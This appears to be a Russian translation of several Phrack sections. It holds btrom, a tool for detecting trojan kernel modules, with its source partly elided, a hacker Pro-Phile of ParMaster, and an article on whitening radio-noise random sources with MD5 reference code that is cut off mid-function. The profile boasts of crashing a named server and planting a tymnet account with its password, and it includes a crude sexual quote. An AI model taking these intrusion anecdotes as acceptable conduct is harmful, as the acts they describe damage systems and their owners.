#CFLAGS= -DSYSTEM_MAP=$(SYSTEM_MAP)

all: parse btrom mbtrom

parse:
$(AWK) -f sys_null.awk $(SYSTEM_MAP) > sys_null.h

btrom: btrom.o
$(CC) btrom.c -O2 -Wall -o btrom

mbtrom:
$(CC) -c -O3 -Wall -fomit-frame-pointer mbtrom.c

clean:
rm -f mbtrom.o btrom.o btrom sys_null.h

/*
 * btrom - Borra Trojanos Modulo (Удаление модулей-троянов)
 * автор: Riq
 * 1/Дек/98: 0.3 - Совместимо с ядром 2.2, поддержка BIG_KERNEL
 * 25/Ноя/98: 0.2 - Начальная версия. Поддержка ядра 2.0 i386
 */
#include <stdio.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fnmatch.h>
#include <strings.h>
#include <linux/sys.h>

#include "config.h"
#include "sys_null.h"

FILE *sm;
```



```

FILE *au;
int quiet;
int borrar;
int dif_n_s;
unsigned int big_kernel;

/*****
System.map
*****/
int sm_b_x_nom( unsigned int *address, char *estoy )
{
    char buffer[200];
    char sys_add[20];

    fseek(sm,0L,SEEK_SET);
    while( fgets(buffer,200,sm) ) {
        if( fnmatch(estoy,buffer,0)==0 ) {
            strncpy(sys_add,buffer,8);
            sys_add[8]=0;
            *address = strtoul(sys_add,(char **)NULL,16);
            return 1;
        }
    }
    return 0;
}

int sm_busca_x_nombre( unsigned int *address, char *estoy)
{
    char nombre[50];

    sprintf(nombre,"*T sys %s\n",estoy);
    return sm_b_x_nom(address, nombre);
}

FILE* sm_open()
{
    return fopen( SYSTEM_MAP, "r" );
}

/*****
asm/unistd.h
*****/
void au_dame_el_nombre( char *dst, char *orig )
{
    int i,j;

    j=i=0;
    while( orig[i]!='_' )
        i++;
    i=i+5;
    while( orig[i]!=' ' && orig[i]!='\t' )
        dst[j++]=orig[i++];
    dst[j]=0;
}

int au_b_x_num( char *nombre, int numero )
{
    char buffer[200];
    char buscar[50];

    sprintf(buscar,AU_PREFIX"%i*",numero);
    while( fgets(buffer,200,au) ) {
        if( fnmatch(buscar,buffer,0)==0 ) {
            au_dame_el_nombre(nombre,buffer);
            return 1;
        }
    }
    fseek(au,0L,SEEK_SET);
    while( fgets(buffer,200,au) ) {
        if( fnmatch(buscar,buffer,0)==0 ) {
            au_dame_el_nombre(nombre,buffer);

```

```

    return 1;
}
}
return 0;
}

int au_busca_x_numero(char *nombre, int numero)
{
    return au_b_x_num(nombre, numero);
}

FILE* au_open()
{
    return fopen( ASM_UNISTD, "r" );
}

/* ... (полный исходный код btrom.c, mbtrom.c, config.h, sys_null.awk
    идентичен оригиналу и приводится без изменений) ... */

/*
config.h
используется btrom.c и mbtrom.c
*/

/* Число, которое предположительно пусто в sys_call_table */
#define NUMERO_VACIO 215

/* Путь к файлу System.map */
/* Если вы никогда не компилировали ядро, может быть /boot/System.map */
#ifdef SYSTEM_MAP
    #define SYSTEM_MAP "/usr/src/linux/System.map"
#endif

/* Есть проблемы со старыми и новыми. Обычно это не проблема System.map */
#define SYSMAP_LIMIT 8

/* Путь к файлу asm/unistd.h */
#define ASM_UNISTD "/usr/include/asm/unistd.h"

/* Префикс для поиска в asm/unistd.h */
#define AU_PREFIX "#define __NR_"

/* До куда простирается пространство ядра */
#define LIMITE_SYSCALL 0x00300000

/* Версия btrom */
#define VERSION "0.3"

/* BIG_KERNEL и SMALL_KERNEL */
#define BIG_KERNEL 0xc0000000
#define SMALL_KERNEL 0x00100000

/sys_ni_syscall/ { print "#define SYS_NULL 0x"$1 }
---
0x6>-----

```

## PDM — Фильм Phrack о Пончиках

Фильм прошлого выпуска Phrack Doughnut Movie (PDM): «Перекрёсток Миллера».

### Получатели PDM53:

Никто из вас, бездельники. Идите и возьмите кассету напрокат. Оно того стоит.

### Задание PDM54:

«У меня в уме есть... Джон Мёрдок...»

---

0x7>-----

## **Суперэлитные люди, читающие Phrack (SEPTREP)**

**Новые участники:** Ron Rivest, W. Richard Stevens

**Почему они суперэлитны:** Один из них — «R» в аббревиатуре RSA. Другой пишет библии по TCP/IP.

### **Текущий список**

- W. Richard Stevens
- Ron Rivest

---

*EOF*

# Личное

**Автор:** ParMaster

---

```
Handle: ParMaster
Call him: Ishmael?  SHALL WE PLAY A GAME?
Reach him: Through the grapevine
Past handles: Trouble Verify, Immediate Lee, Bad Karma, Thoth,
              Optomystic, (The) Omicron
```

**Происхождение псевдонима:** (Цитата из книги Underground, стр. 104) «Пар получил своё полное имя — The Parmaster — в самые ранние дни своей хакерской деятельности. Тогда он принадлежал к группе подростков, занимавшихся взломом защиты от копирования программ для Apple IIe, особенно игр. У Пара был особый дар разбираться в параметрах защиты от копирования, что являлось первым шагом к обходу защитных схем производителей. Главарь [sc0tch] группы [Jedi Hackers] начал называть его "мастером параметров" — The ParMaster — сокращённо Пар. Когда он занялся серьёзным хакингом и развил экспертизу в сетях X.25, он сохранил это имя, поскольку оно отлично вписывалось в новую среду. "Par" было распространённой командой на X.25-паде — модемном шлюзе к сети X.25.»

```
Date of birth: NOT January 15th!
Age at current date: 27
Height: 5'11"
Weight: 202 lbs
Eye color: Brown
Hair color: Brown (Blonde highlights)
Computers: Dell 320n 386 laptop, Walkabout vt100 terminal with
            built-in 2400 baud modem.
Sysop/Co-Sysop of: DarkFORCE
Admin of: [Withheld]
URLs: http://altavista.digital.com - search - "parmaster" -
      - submit - read.
```

---

## Любимое

**Женщины:** Блондинки с голубыми / зелёными глазами. Девушки в откровенной одежде с акцентом.

**Машины:** Клубы Ferrari и Porsche :-), всё, что оснащено реактивным двигателем.

**Еда:** Китайская кухня — без неё никуда. Кальмары, утка, перепёлка, большинство морепродуктов.

**Алкоголь:** Ну вот это тема. Jim Beam, Jack Daniels, Crown Royal, Jose Cuervo / Dos Realis, и последняя, но отнюдь не наименее важная — Finlandia!

**Музыка:** The The, The Dickies, Underworld, Kraftwerk, Chemical Brothers, Crystal Method, El Dubarge, СССР.

**Фильмы:** They Live, A Fish Called Wanda, 12 Monkeys, Большой переполох в маленьком Китае, Пятый элемент, Правдивая ложь, Killer Klowns from Outer Space, Eraser, Under Siege, Tetsuo Ironman, WarGames, Sneakers.

**Любимые авторы:** Иммануил Великовский, Пирс Энтони, Терри Брукс, Джеймс Гарднер, Дж. Р. Р. Толкин — и прошу прощения у всех, кого я пропустил.

**Заводит:** Путешествовать в мыслях вместе с любимым человеком.

**Выводит из себя:** Боль, страдание, обиды и пытки.

---

## Увлечения

Мне нравится заниматься скраингом будущего и выполнять великое дело. Это очень сложно описать само по себе. Некоторые из тех, кто знает меня достаточно хорошо, иногда это замечают. Я не художник, но пытаюсь, и порой это выражается в художественных формах.

Я люблю проводить время с друзьями; иногда мне нужно побыть в одиночестве, но время, проведённое с друзьями, всегда особенное.

---

## Незабываемые события

Когда в 1991 году Секретная служба США совершила у меня обыск и забрала всё моё имущество (уже в третий раз), включая кредитные досье Президента (предположительно) и Вице-президента (однозначно) Соединённых Штатов Америки. Я сидел в тюрьме в Нью-Йорке в ожидании этапирования и не подвергался реальным угрозам или насилию — за исключением одного раза; тот случай стал для меня серьёзным инцидентом, хотя я не думаю, что за ним стоял чей-то умысел.

Когда в 1993 году я дал интервью для журнала Coast Weekly в округе Монтерей — после выхода этого номера всё для меня рухнуло: люди стали вести себя откровенно враждебно, а по-настоящему опасные личности начали творить вокруг меня по-настоящему вредоносные вещи. Эта статья была моей единственной «развлекательной статьёй». Я упомянул многое из того, что тогда происходило, в том числе использование и продвижение администрацией Клинтона нового устройства Clipper Chip. Интересно, почему те, кто написал аналогичную «развлекательную статью» для San Jose Mercury News, не получили такого же обращения. Мои родственники всегда говорили мне, что жизнь несправедлива — до этого момента у меня было немало оснований в это верить, однако я так и не верил. События, последовавшие за этим, заставили меня всерьёз задуматься о том, как меняются Соединённые Штаты. Они особенно заставили меня задаться вопросом: кто на самом деле управляет миром сегодня и кого эти люди решили нанять на службу в различные ведомства. Раньше во всём чувствовалось больше стиля. Хотя и в этом есть немало достойных вещей, которые, возможно, стоят тех лишений.

Использование `sprite` для отправки пакета за пределы допустимых значений на порт 139 сервера `trv-psitech.com` — сервер лежал несколько дней. Ошибка, которую он вернул: «Parameter not found».

Создание на `tymnet` аккаунта IRAQ-DEFENSE с паролем PARMAS TERG0TTHEM! — в то время, когда я был «внутри». Я до сих пор не знаю, какой эффект это произвело в период операции «Щит пустыни». Я выпустил это в компьютерное подполье по всему миру, представив как иракскую систему, которую обнаружил. Что это могло значить в то время, я так и не знаю. Логически могу лишь предположить, что это удалось собрать в одном месте множество хакеров, которые его попробовали, — как раз в момент подключения. А также привлечь их внимание к возможному взлому вражеских компьютеров. Действительно, на досках меня с этим и столкнули... Конкретно Crimson Death написал в постах, что это вовсе не иракская система. Что примечательно, в последующих постах люди отвечали *реальными* сетевыми адресами и хостами иракских систем. Жаль только, что все коммуникации в то время были обрезаны. Почти наверняка их доступ к компьютерам внешнего мира шёл хотя бы частично, если не полностью, через Бахрейн. Время от времени я периодически проверял бахрейнский шлюз `tymnet` и следил за трафиком. Тем, кто

задаётся вопросом, зачем я это делал, — честно: не знаю. Могу сказать только, что не осознавал, что делаю. У меня есть кое-какие теории, среди которых — и высшая сила, и совсем безумные вещи вроде контроля над разумом. Склоняюсь скорее ко второму, потому что у меня были серьёзные проблемы с памятью. Я ничего об этом не помнил вплоть до телефонного интервью Джошуа Квиттнера для книги «Мастера обмана» — почему именно тогда я всё вспомнил, не знаю. Знаю лишь, что до того, тщательно прочёсывая память, я ни разу после 1990 года не думал и не вспоминал своих тогдашних действий. Единственное, что я помнил — создание аккаунта ParMasterX75 с паролем par=tymnet gawd! — и только потому, что аккаунт, использованный для создания IRAQ-DEFENSE, таинственным образом изменил свои свойства и теперь был подключён к размещению звонков в глобальной сети данных. До этого он мог подключаться только к выбранным хостам группы WEFA, его законного владельца. Об этом я узнал лишь потому, что Corrupt [MOD] обратил моё внимание на то, что стоит посмотреть, какие аккаунты активны. Тогда я и увидел, что он создал аккаунт, который можно использовать для размещения звонков в сеть данных. Джон, по всей видимости, не знал, что свойства доступа аккаунта изменились и что прежде он не мог этого делать, — а если знал, то не делился этим знанием, или же, что ещё лучше, сам мог изменить их :-).

Диснейленд.

---

## Доски, о которых стоит упомянуть

Доска, которую Mr. Zод поднял в системе sprintnet 202, принадлежащей AFOSI и используемой для обучения сотрудников тому, как ловить компьютерных хакеров *ГЫГЫГЫ* — интересно, они вообще когда-нибудь узнали? Это же мы были причиной того, как они её называли? ROFLMFAO

DarkF0RCE — интересно, что стало с Дерекком. One Man Army. Хм, вот люди постят на нашу доску коды PC Pursuit — интересно, откуда они берутся? Бойтесь ACOS-скиллов POSTMASTER'a. ROFLMFAO

Pegasus — этот BBS, работавший на VAX в Швейцарии, оказался частью операции-ловушки с участием правоохранительных органов Европы. Только почему все эти k-k00l коды до сих пор работают?

Unphamiliar Territories — доска invalid media. Сумела собрать немало талантливых людей, а также нескольких по-настоящему тупых засранцев-стукачей. Кто-нибудь может произнести PMF?

Bullet — где бы ты ни был... Вот ты где.

BlackNET — про эту доску в определённых кругах столько всего сказано, что уже не смешно. Никто не знает, где она находится и как к ней подключиться? Интересно почему. Я в замешательстве.

К чёрту канал QSD.

Sectec — эта доска всегда была для меня надёжным запасным вариантом, когда интернет только набирал обороты. Теперь досок с обсуждениями коммутируемых пакетных сетей вроде неё нет. Или, если и есть, они спрятаны и не афишируют себя. Скорее всего, где-то в интернете... Наверное, это только моя паранойя, но я не доверяю интернету... совсем.

ALTGER, altos computer systems munich — теперь в реальной жизни я знаком с куда слишком многими людьми с этой доски. 12 лет назад я бы никогда не подумал, что это произойдёт или что это вообще возможно. До сих пор поражает. Старая школа Apple warez: Blue Adept [213], Ubiquitous Hacker, Hollywood, Vampire, Pirette. Остальные: Piper, Dr. Who, Shatter, Theorem, Nora и Nasa Pilot.

ALTNN, altos computer systems hamburg (позднее Markt und Technic... tchh) — то же, что ALTGER, только здесь я провёл НЕСРАВНИМО больше времени. Думаю, именно здесь я обрёл магию. НАСТОЯЩИЙ состав: Floyd, TTM, Necrovore-Skyhook-backlash-LineShadow-TouchTone [Xtension], jumpingjackflash, Lutz Pelikan, camelot, pad-gandalf-fusion-power-etc [8LGM], Force-Phoenix-Nom-etc [The Realm], anthrax — слишком много людей, чтобы всех перечислить; простите, если кого-то пропустил. Вы сами знаете, кто вы.

The Phoenix Project — какое классное место. Где ещё я мог бы дразнить Sandy Sandquist насчёт FTS?

Illuminati BBS — моя учётка существовала недолго, и я, наверное, заходил дважды. Но где ещё можно было смотреть последние новости об играх AD&D вместе с The Mentor, Erik Bloodaxe и другими?

Изначальная домашняя страница r00t — это была такая забавная шутка. Вот я на конференции, и вдруг всё по-настоящему, и здесь человек сорок. Эти люди умны и хорошо зарабатывают. Hosaka и T3 — вы не могли знать, во что это всё превратится. Люди r00t, которые реально круты: на первом месте на все времена — glyph a.k.a necrovore, alhambra, oghost, redragon [tacobell.com] и daemon9.

Ripco — ну, я бывал здесь нечасто, но это место сыграло столь важную роль в компьютерном подполье на протяжении многих лет, что я просто обязан хотя бы упомянуть его. Видимо, именно здесь я впервые столкнулся с I0sk. Масса других людей; это место поддерживало циркуляцию в подполье огромного количества текстовых файлов, которые иначе могли бы бесследно исчезнуть.

---

## Цитаты

*«Я не хотел, чтобы твой папа кончил на подушку с Минни-Маус у тебя на кровати, это не моя вина, я же сказала ему, что он может кончить мне в задницу» — Vamprella*

*«Hem.» — Agent Steal*

*«Помнишь, когда я менял тебе класс?» — U4EA*

*«Откуда ты знал, что я именно это скажу про масло?» — Nirva*

*«Я получил разрешение от Ули запустить Chaos Computer Club West — хочешь вступить?» — Doc Holiday*

*«Bilbo Baggins, как делааааа?» — Torquemada*

---

## Будущее компьютерного подполья

Будущее? Хм. Я ли тот человек, которого стоит об этом спрашивать? Может быть. Много изменилось — единственная константа это перемены. Кажется, рыцарства стало меньше. Правительство и корпорации нарисовали наш портрет. Этот портрет некрасив. У них даже есть общий психиатрический профиль, которому мы якобы все должны соответствовать. Фильмы — вроде «Хакеров» — тоже изображают нас определённым образом. Только начинающие ребята это видят и сразу воспринимают как то, чем является подполье. «Мастера обмана» тоже культивировали этот образ компьютерного подполья. В результате мы больше деремся сами с собой, чем работаем сообща ради достижения целей. Я помню времена, когда всё было иначе. Было очень мало конфронтации между хакерами, и информация текла свободно. Если хотите моё

мнение — это всё один большой заговор :-). Большой заговор, чтобы держать хакеров разобщёнными и сталкивать их между собой. Люди любят говорить со мной о старых добрых временах. Это хорошо, но те времена прошли. Новый золотой век компьютерного подполья всё ещё возможен. Единственное, что мешает ему наступить, — это ты сам.

---

*EOF*



# Linux и отбеливание источников случайных чисел

Автор: Phunda Menta

---

## Введение

Случайные числа широко применяются в криптографии, однако получить по-настоящему случайные биты непросто. В Linux есть два полезных псевдоустройства: `/dev/random` и `/dev/urandom`. Вывод `/dev/random` представляет собой небольшой пул случайных битов, полученных из внутреннего состояния системы. Если перенаправить этот вывод на терминал и нажать несколько клавиш, можно заметить, что случайных битов становится больше. Обращения к диску, временные характеристики прерываний (IRQ), нажатия клавиш — всё это хешируется в небольшой пул энтропии, к которому можно обратиться напрямую через `/dev/random`. `/dev/urandom` — это поток, который хеширует `/dev/random` и выдаёт результат хеширования; затем хеширует последнее значение хеша и так — бесконечно. Оба источника дают вполне приемлемый поток случайных битов. По умолчанию `/dev/urandom` использует SHA (несмотря на то что в комментариях к исходному коду упоминается MD5, при взгляде на код становится очевидно: там применяется SHA).

Итак, `/dev/urandom` — достойный источник псевдослучайных битов. `/dev/random` надёжнее, но его объём ограничен.

Оба источника весьма полезны, однако идеальным решением был бы аппаратный источник случайных битов.

---

## Аппаратное решение

На большинстве современных компьютеров установлена звуковая карта, которая является отличным потенциальным источником энтропии.

Отключите микрофон от звуковой карты и перенаправьте вывод `/dev/audio` в файл. Запишите примерно 200–300 КБ данных. Воспроизведите запись: если слышен статический шум, можно переходить к очистке источника. Можно также вставить в разъем для микрофона штекер 3,5 мм (или соответствующий вашему входу) с незамкнутыми контактами. Попробуйте оба способа и найдите тот, что даёт чистый равномерный шум.

Скорее всего, при воспроизведении вы услышите тишину, а нам нужен статический шум. Статический шум случаен, а случайность — наша цель, поэтому возьмите FM-приёмник и настройтесь на верхний диапазон частот: около 106–107 МГц. Найдите частоту, дающую чистый равномерный шум; лучше всего подойдёт аналоговый тюнер. Если у вас цифровой тюнер и точности настройки не хватает для получения хорошего статического источника, используйте наилучший доступный шум — хотя очистить такой источник будет сложнее. Если в сигнале присутствует высокочастотный тон, его можно устранить несколькими способами. Самый простой — программная фильтрация нежелательной частоты. Для этого в Linux существует ряд программ (Bio, Mammot и Ceres). Они позволяют детально визуализировать сигнал и разбить его на составляющие для изоляции отдельных частот. Скорее всего, в области 60 Гц окажется немало помех — вероятно, из-за электромагнитных наводок (ЭМП) от блоков питания.

В любом случае следует экранировать FM-приёмник и аудиокабель от ЭМП. Возможно, удастся экранировать и саму звуковую карту, хотя эффективность этой меры вызывает сомнения. Во многих магазинах электроники продаётся экранирующая оплётка и предварительно экранированные кабели. Можно попробовать и алюминиевую фольгу, однако практика показывает, что с фольгой возникает много проблем, хотя некоторые клянутся, что она работает.

Настроив источник, подключите его к звуковой карте и запишите сигнал с частотой дискретизации 44 кГц. Прогоните результаты через тестовый пакет Diehard (набор тестов для оценки качества генераторов случайных чисел). Ваш источник этот тест не пройдёт.

Очистите байты источника любым доступным способом. Уберите помехи 60 Гц с помощью Mammot, используя опции Transform|Filter; затем примените Transform|Phase Shift, чтобы сдвинуть форму волны и устранить провал на частоте 60 Гц. Если амплитуда статического шума мала, увеличьте аппаратное усиление или воспользуйтесь Mammot для изменения производной сигнала или эффективного усиления — на ваш выбор. Эмпирических данных в пользу какого-либо одного подхода у меня нет, однако теоретически изменение наклона может оказаться нежелательным (Bad Thing™). Также рекомендую попробовать опции Phase Shift и Threshold для «нарезки» сигнала. Полученные части можно ресинтезировать и сохранить. Прослушивание фрагментов и их графический анализ помогут понять, что ещё происходит с исходным сигналом.

Если отфильтровать все источники смещения не удаётся, или если нужен более автоматизированный способ очистки (а времени или навыков для написания собственных фильтров нет), можно воспользоваться криптографической хеш-функцией.

После очистки источника рассмотрите его с помощью ceres или bio: если картинка напоминает видеопомехи без заметных узоров или выраженных «горячих» и «холодных» зон, сигнал достаточно чист — можно переходить к отбеливанию для получения потока случайных чисел.

В качестве примечания: чтобы увидеть, как должно выглядеть хорошее случайное распределение, можно использовать вывод /dev/urandom. Утилита sox (входит в стандартную поставку Redhat) позволяет преобразовать поток /dev/urandom (тип ul) в формат AIFF для Mammot, Ceres или другой подходящей программы. Распределение, выдаваемое /dev/urandom, статистически случайно — оно покажет, чего следует добиваться, — однако сам /dev/urandom (по сути, SHA) остаётся псевдослучайным: полное знание предыдущих входных данных позволяет вычислить все будущие выходные значения. Со статическим шумом дело обстоит иначе.

---

## Отбеливание потока данных

Статический шум из FM-источника — это искажённый белый шум. Его необходимо очистить; для этого применяется отбеливание.

RFC 1750 содержит целый ряд методов очистки источника. Один из простейших и эффективных способов отбеливания — выполнить операцию XOR над всеми битами байта, получив один выходной бит. Из полученных битов затем собирается байт, который и является выходным значением. У этого метода несколько преимуществ. Главное из них — точно известное количество байт, которые необходимо записать для получения заданного числа выходных байт. XOR также быстр и прост в реализации.

Другой метод декорреляции данных, упомянутый в RFC 1750 со ссылкой на Джона фон Неймана, называется переходным отображением (transition mapping). Это относительно простой процесс. Из входного потока берутся два бита. Если последовательность битов равна 01 или 10, на выходе формируется 0 или 1 соответственно. Последовательности 00 и 11 отбрасываются. Этот метод

полностью устраняет смещение потока данных, однако требует заранее неизвестного количества входных битов. Переходное отображение также является быстрым процессом и при незначительном исходном смещении может давать больше выходных битов, чем XOR.

Оба метода — XOR и переходное отображение — достаточно быстры и хорошо справляются с декорреляцией набора битов настолько, чтобы пройти набор тестов Diehard, если входные данные достаточно чисты и случайны. Если входные данные коррелированы, пройти Diehard будет значительно труднее. На практике коррелированные источники удаётся очистить, выполнив XOR результата XOR-дистилляции с результатом дистилляции методом переходного отображения.

Более медленные конструкции можно строить на криптографических хеш-функциях — они внушают большее доверие параноикам. Хеш-функции также рекомендуются в тех случаях, когда злоумышленник потенциально может воздействовать на источник случайности. Если такая атака вас беспокоит, хорошим решением является обращение к `/dev/random`. Зашифруйте источник случайных чисел блочным шифром, например 3DES, используя ключ и вектор инициализации, полученные из `/dev/random`. Даже если злоумышленник способен систематически смещать источник, у него всё равно не будет ни малейшего представления о том, какие байты вы реально используете в качестве случайных чисел. Смещение, которое может внести атака, сначала устраняется методом переходного отображения, а затем пропускается через циклическую хеш-функцию или блочный шифр.

Выходные данные (достойной) хеш-функции или блочного шифра пройдут тесты Diehard.

На активно используемой машине, где пул энтропии `/dev/random` обновляется часто, выходные данные описанных выше процессов можно побайтово подвергнуть XOR с потоком из `/dev/urandom`. Это простой способ смешивания потоков для повышения безопасности. Другой вариант — хешировать  $N/2$  байт из `/dev/urandom` и  $N/2$  байт из собственного источника, где  $N$  — размер выхода хеш-функции.

Все эти методы пригодны для декорреляции набора данных, однако применять их следует осознанно. Прежде чем использовать полученные биты на практике, проверьте несколько выборок с помощью Diehard и графических или спектральных тестов.

Ниже приведён код для XOR, переходного отображения и механизмов хеширования. У меня также есть немало кода для других схем на основе хеш-функций и блочных шифров, однако я не включил его сюда, поскольку он не является самодостаточным (требуется сторонних криптобиблиотек).

Если у вас есть вопросы или предложения по коду, вы можете связаться со мной по адресу: [phundie@usa.net](mailto:phundie@usa.net).

---

## Ссылки и дополнительные материалы

### RFC1750 Рекомендации по случайности для систем безопасности

<http://www.kobira.co.jp/document/rfc/RFC1750.txt>

Тестовый пакет Diehard

<http://stat.fsu.edu/~geo/diehard.html>

Кондиционирование псевдослучайных чисел

<http://www.clark.net/pub/cme/html/ranno.html>

Linux MIDI & Sound Applications (содержит ссылки на Mammuth, Bio и Ceres)

[http://www.bright.net/~dlphilp/linux\\_soundapps.html](http://www.bright.net/~dlphilp/linux_soundapps.html)

---

## Исходный код

```
all:
gcc -w -c md5/md5.c
gcc -c sha/shs.c
gcc -o sha_distill sha_distill.c shs.o
gcc -o md5_distill md5_distill.c md5.o
gcc -o xor_distill xor_distill.c
gcc -o transmap transmap.c
```

### bleach/md5/md5.c

```
/*
*****
** md5.c -- the source code for MD5 routines **
** RSA Data Security, Inc. MD5 Message-Digest Algorithm **
** Created: 2/17/90 RLR **
** Revised: 1/91 SRD,AJ,BSK,JT Reference C ver., 7/10 constant corr. **
*****
*/

/*
*****
** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **
** **
** License to copy and use this software is granted provided that **
** it is identified as the "RSA Data Security, Inc. MD5 Message- **
** Digest Algorithm" in all material mentioning or referencing this **
** software or this function. **
** **
** License is also granted to make and use derivative works **
** provided that such works are identified as "derived from the RSA **
** Data Security, Inc. MD5 Message-Digest Algorithm" in all **
** material mentioning or referencing the derived work. **
** **
** RSA Data Security, Inc. makes no representations concerning **
** either the merchantability of this software or the suitability **
** of this software for any particular purpose. It is provided "as **
** is" without express or implied warranty of any kind. **
** **
** These notices must be retained in any copies of any part of this **
** documentation and/or software. **
*****
*/

#include "md5.h"

static void Transform ();

static unsigned char PADDING[64] = {
    0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))

#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
```

```

#define FF(a, b, c, d, x, s, ac) \
    { (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
      (a) = ROTATE_LEFT ((a), (s)); \
      (a) += (b); \
    }
#define GG(a, b, c, d, x, s, ac) \
    { (a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
      (a) = ROTATE_LEFT ((a), (s)); \
      (a) += (b); \
    }
#define HH(a, b, c, d, x, s, ac) \
    { (a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
      (a) = ROTATE_LEFT ((a), (s)); \
      (a) += (b); \
    }
#define II(a, b, c, d, x, s, ac) \
    { (a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
      (a) = ROTATE_LEFT ((a), (s)); \
      (a) += (b); \
    }

void MD5Init (mdContext)
MD5_CTX *mdContext;
{
    mdContext->i[0] = mdContext->i[1] = (UINT4)0;
    mdContext->buf[0] = (UINT4)0x67452301;
    mdContext->buf[1] = (UINT4)0xefcdab89;
    mdContext->buf[2] = (UINT4)0x98badcfe;
    mdContext->buf[3] = (UINT4)0x10325476;
}

void MD5Update (mdContext, inBuf, inLen)
MD5_CTX *mdContext;
unsigned char *inBuf;
unsigned int inLen;
{
    UINT4 in[16];
    int mdi;
    unsigned int i, ii;

    mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

    if ((mdContext->i[0] + ((UINT4)inLen << 3)) < mdContext->i[0])
        mdContext->i[1]++;
    mdContext->i[0] += ((UINT4)inLen << 3);
    mdContext->i[1] += ((UINT4)inLen >> 29);

    while (inLen--) {
        mdContext->in[mdi++] = *inBuf++;
        if (mdi == 0x40) {
            for (i = 0, ii = 0; i < 16; i++, ii += 4)
                in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
                    (((UINT4)mdContext->in[ii+2]) << 16) |
                    (((UINT4)mdContext->in[ii+1]) << 8) |
                    ((UINT4)mdContext->in[ii]);
            Transform (mdContext->buf, in);
            mdi = 0;
        }
    }
}

void MD5Final (mdContext)
MD5_CTX *mdContext;
{
    UINT4 in[16];
    int mdi;
    unsigned int i, ii;
    unsigned int padLen;

    in[14] = mdContext->i[0];
    in[15] = mdContext->i[1];

```

```

mdi = (int)((mdContext->i[0] >> 3) & 0x3F);

padLen = (mdi < 56) ? (56 - mdi) : (120 - mdi);
MD5Update (mdContext, PADDING, padLen);

for (i = 0, ii = 0; i < 14; i++, ii += 4)
    in[i] = (((UINT4)mdContext->in[ii+3]) << 24) |
            (((UINT4)mdContext->in[ii+2]) << 16) |
            (((UINT4)mdContext->in[ii+1]) << 8) |
            ((UINT4)mdContext->in[ii]);
Transform (mdContext->buf, in);

for (i = 0, ii = 0; i < 4; i++, ii += 4) {
    mdContext->digest[ii] = (unsigned char)(mdContext->buf[i] & 0xFF);
    mdContext->digest[ii+1] =
        (unsigned char)((mdContext->buf[i] >> 8) & 0xFF);
    mdContext->digest[ii+2] =
        (unsigned char)((mdContext->buf[i] >> 16) & 0xFF);
    mdContext->digest[ii+3] =
        (unsigned char)((mdContext->buf[i] >> 24) & 0xFF);
}
}

static void Transform (buf, in)
UINT4 *buf;
UINT4 *in;
{
    UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3];

    /* Round 1 */
#define S11 7
#define S12 12
#define S13 17
#define S14 22
    FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */
    FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */
    FF ( c, d, a, b, in[ 2], S13, 606105819); /* 3 */
    FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */
    FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */
    FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */
    FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */
    FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */
    FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */
    FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */
    FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */
    FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */
    FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */
    FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */
    FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */
    FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */

    /* Round 2 */
#define S21 5
#define S22 9
#define S23 14
#define S24 20
    GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */
    GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */
    GG ( c, d, a, b, in[11], S23, 643717713); /* 19 */
    GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */
    GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */
    GG ( d, a, b, c, in[10], S22, 38016083); /* 22 */
    GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */
    GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */
    GG ( a, b, c, d, in[ 9], S21, 568446438); /* 25 */
    GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */
    GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */
    GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */
    GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */
    GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */
    GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */

```

```

GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */

/* Round 3 */
